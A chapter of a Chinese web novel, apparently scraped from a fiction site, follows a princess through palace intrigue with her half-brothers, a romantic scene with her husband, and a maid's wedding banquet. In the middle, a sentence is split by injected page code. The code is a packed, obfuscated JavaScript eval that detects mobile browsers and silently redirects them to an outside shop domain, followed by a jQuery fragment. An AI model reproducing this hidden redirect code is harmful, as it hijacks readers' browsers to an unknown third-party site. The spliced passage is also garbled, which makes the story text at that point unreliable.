文趣网 > 都市小说 > 公主的签到运势大赏 > 43. 婚宴
    阳钰还没从刚才那个话中转过来,听见这句,也没多想,干脆道:“太子哥哥很好。”

    末了她还补充:“哪哪都好。”

    宫缡的笑意薄了几分,转瞬即逝,很快恢复正常,他点了几下头,便没再说话。

    这也是阳钰想要的结果,她只想赶紧安安静静地顺利回到秋则辛身边。

    ·

    宫道两旁的红墙仿佛无限延长,地上的积雪已被扫净,徒留瓦片上的薄雪化水滴落。

    走至东宫道前的最后一个拐角,斜阳洒下来,把宫缡的脸照得半明半暗,他看着身侧满脸谨慎的阳钰,忽然起了别的心思,道:“皇妹可知,太子的生母是谁?”

    阳钰微微一顿,这还真不知道。

    没等她回答,宫缡自说自话接了下去:“太子的生母……也是我的生母。”

    ……!

    什么?!

    阳钰虎躯一震,脱口而出道:“……棠妃?”

    “哦?”宫缡挑了挑眉,“宫中封锁的大事,皇妹那时候还没出生,如何得知?”

    阳钰那叫一个懊悔,恨不得扇自己的快嘴,“呃……偶然听说过一丢丢而已,皇兄怎会突然提及此事?”

    “当年母后生下我之后,便吊死在那颗槐树下。”宫缡的语气平平,像是在说与自己无关的事,“母后自戕后,太子搬去了太后宫中,我搬去了皇后偏殿,从此便再无瓜葛,他恐怕都不知道自己的生母是谁。”

    说完,他转过身,看着阳钰,眉眼依旧是弯的,却夹杂着一丝锐利,“所以皇妹说太子好,那是自然,他当然很好,毕竟这里头有一半……本该是我的。”

    ……这家伙在说什么胡话呢?

    阳钰差点被他绕进去,本来很同情他的,听到最后一句瞬间冷静了。

    这个人在挑拨离间,真当我是傻子呢?!

    阳钰无语凝噎,肚子从刚才开始就痛痛的,眼下只想着找个理由脱身,紧接着就望见前方拐角处转出来两个人。

    前面这人看见她就流露出笑意,看到宫缡就紧蹙眉头。

    宫缡察觉到满满的恶意,依旧笑道:“筠清侯,许久不见。”

    “见过三皇子殿下。”秋则辛冷冷道,走上前来手臂十分自然地环住阳钰的腰,还往自己身侧拢了拢。

    阳钰生怕他又乱吃醋,解释道:“刚才我不小心迷路了,碰巧遇到三哥,他为我带个路。”

    “哦?真是‘碰巧’而已?”秋则辛质问的语气直勾勾朝向宫缡。

    宫缡笑而不语,瞥见一旁的池知序,他才恭敬道:“臣弟见过太子殿下。”

    “不必多礼。”池知序罕见地面露犹豫,“三弟若有空……”

    “没有。”宫缡几乎是瞬间回答,笑容依然得体,“臣弟还有要事在身,先告辞了。”

    话音未落,他转身带着下人们浩浩荡荡地离开,身形被夕阳拉成细长的黑影,在宫墙上晃了晃便消失在尽头拐角。

    池知序伫立在原地,一步也没有动,只是眼神有些飘忽。

    阳钰知道了一些隐情,瞧大哥这副模样,她心里也堵得慌,刚要开口,就被轻戳了戳侧腰。

    她抬头看去,只见秋则辛微微摇了摇头。

    接着,秋则辛道:“殿下,时候不早了,我们先行一步,改日进宫再议。”

    池知序回过神来,又重新挂上笑容,“嗯,你们回去罢。”

    ·

    回府的路上,马车里的二人面面相觑。

    看出她面上的疑惑,秋则辛道:“太子此人,心情郁结时更想独处,所以我才带夫人离开。”

    “喔~原来是这样。”阳钰点了点脑袋,又想到什么,“说起来,那你和他是从小一起在太后膝下长大的咯?”

    “我算不得是在太后‘膝下’,我一直在偏殿住着,很少与太子有交集,第一次见面甚至是在我十岁那年。”秋则辛撑着下颚回忆,“自他发现有我的存在后,便时常过来找我。”

    “然后你们就成朋友了?”阳钰很是好奇。

    “算是……盟友罢。”

    “哇塞,十岁就开始谋划那种事情了啊?”阳钰汗颜,“我十岁的时候还在想今天院长妈妈烧什么菜呢。”

    数次从她口中听到这个人物,秋则辛也不禁好奇,猜道:“此人是夫人的养母?”

    “嗯嗯!她对我恩重如山。”

    “那……”秋则辛垂着眼,长睫缓缓扑朔,“若有机会,夫人会让我见一下岳母么?”

    阳钰神情一怔,过了好一会她才找回自己的声音,“……怕是不能了。”

    秋则辛也料到这个回复,毕竟有世界限制,他起身坐到阳钰身边,“夫人怎么忽然有些伤感?是任务……”

    “不是不是。”阳钰连连摆手,面上挂着心事的样子,一时半会不知该怎么开口,也不太想提。

    回到侯府,二人虽然沉默无言,但紧紧牵着手。

    缓步走进东厢房,坐在榻边小休。

    秋则辛覆住她的手背,“夫人想问什么便问,我知无不答。”

    阳钰抬眼看着他,直问:“你们刚才在殿里聊了什么?”

    “我与太子殿下说不想争了,帮他做完收尾的事,我便收手。”秋则辛轻声道。

    阳钰微微睁大了双眼,手指不自觉地攥紧,突然觉得鼻子有点酸,干脆把脸往他的胸口一埋,“哎哟,我也不知道让你退出夺权是不是正确的,我好像没有照顾到你的感受……”

    “夫人永远都是对的。”秋则辛低头在她的肩窝里蹭了蹭,“夫人这么关心我,我高兴都来不及。”

    阳钰被蹭得痒痒的,脸也烫烫的,“啧!你又说这种话,搞得我都……”

    “啾。”

    秋则辛实在没忍住亲了她一口,没等她反应过来,又顺势俯身压了下去……

    ……

    ·

    转眼间到了冬月廿九,采苓与逐风大婚的日子。

    阳钰穿戴收拾完毕,在西院晃悠着,观赏已经盛开的月季,再扫扫花丛中的积雪,就等秋则辛准备好来接她了。

    “您‘老’可真悠闲呐。”拾幺抽了抽嘴角,“就剩三天寿命了。”

    “哎呀~”阳钰哈着冷气,“积分刚满,先让我放纵几天,反正现在的任务又没难度,不急。”

    拾幺拿她没办法,“那你打算什么时候回现代?”

    “嗯……两边时间流速不一样吧?”

    “是不一样,那边慢。”

    阳钰摊

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17727718|202575||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    手,“那不就不得了,我毕业论文最迟六月底交,放心吧。”

    拾幺不太放心,“以防万一我得调数据查一下那边现在是什么时间……”

    “那你挂后台慢慢查,先帮我拎一下贺礼。”

    阳钰提着沉重的木箱,里面全是她试探采苓的喜好后购入的珠宝首饰,她险些拎不动。

    没等拾幺伸手,西院闪进来一道身影,无声无息地单手接过木箱,另一只手自然地把她搂进怀里。

    阳钰这才卸了力,头也不回也知道是谁,“筠清,你都准备好了嘛?”

    “嗯。”秋则辛牵起她的手,“我们出发罢。”

    ·

    为了让采苓风风光光地出嫁,池南北特地把婚宴主场设在昶王府,张灯结彩,整条街都挂上了红丝绸。

    阳钰自告奋勇坐在女眷那桌,因为身边都是和蔼可亲的命妇,聊得开。

    她聊得累了,便托着腮,百无聊赖地看着来来往往的宾客。

    正发着呆,一只手从边上伸了过来,覆在她敲桌的手背上。

    “夫人觉得这婚宴如何?”秋则辛俯身,没由来地在她耳边轻声问道。

    阳钰环顾四周,由衷道:“好看!采苓今天很漂亮,逐风穿得也像个人,尤其是这个排场,好大!”

    秋则辛眼帘微垂,指腹在她的手背轻轻蹭了蹭,“夫人想不想……重新办一次?”

    阳钰愣了一下,才反应过来他的意思,忽然笑了起来,“哎呀不用,我现在已经很满足啦!原来筠清还藏着这种心思呢~”

    秋则辛抿了抿双唇,悄悄红了耳尖,他总觉得亏欠了阳钰很多,刚要重新开口,几个官员端着酒盏过来客套,还意图把他请走。

    被打断温情的秋则辛拧了拧眉头,阳钰戳了戳他的手表示没关系。

    他的表情这才缓和一些,临行前还不忘牵起阳钰的手,在手背上落下一吻,亲得极快,几乎只是碰了一下便移开了。

    几位命妇等到秋则辛不舍离开,就立刻凑到阳钰身旁——

    “公主殿下和筠清侯成婚这么久了,还跟新婚似的呢!”

    “是啊,妾身羡慕极了。”

    “特别是筠清侯方才那个……当着这么多人的面呢,哎哟我都不知道该怎么说了!”

    阳钰被她们左一句右一句地起哄,整个人都快烧着了,只感觉口干舌燥,端起没碰过的酒杯闷了一口。

    “唔!嘶……好辣!”她被这酒辣得舌头发麻。

    一旁的拾幺默默替她倒了杯茶。

    离她最近的命妇捂着嘴笑道:“公主此等酒量,怕是新婚夜的合卺酒也没喝多少罢?”

    阳钰缓了缓,有些不服气道:“我当时也是一口闷好吧!那酒壶里放了十颗莲子,我还差点被其中一颗噎到。”

    命妇的笑声陡然停了一下,眨了眨眼,“十颗?公主记错了罢?别的不清楚,我们这里的合卺酒放莲子有定数,从来都是九颗,寓意着长长久久。”

    另一位年轻点的命妇也道:“妾身成亲那天特意数过,实实在在九颗。”

    “喔~那可能是我数错了。”阳钰也没在意,乐呵呵地等着开席。

    唯有旁边的拾幺神色凝重,似乎发觉了什么不得了的事情。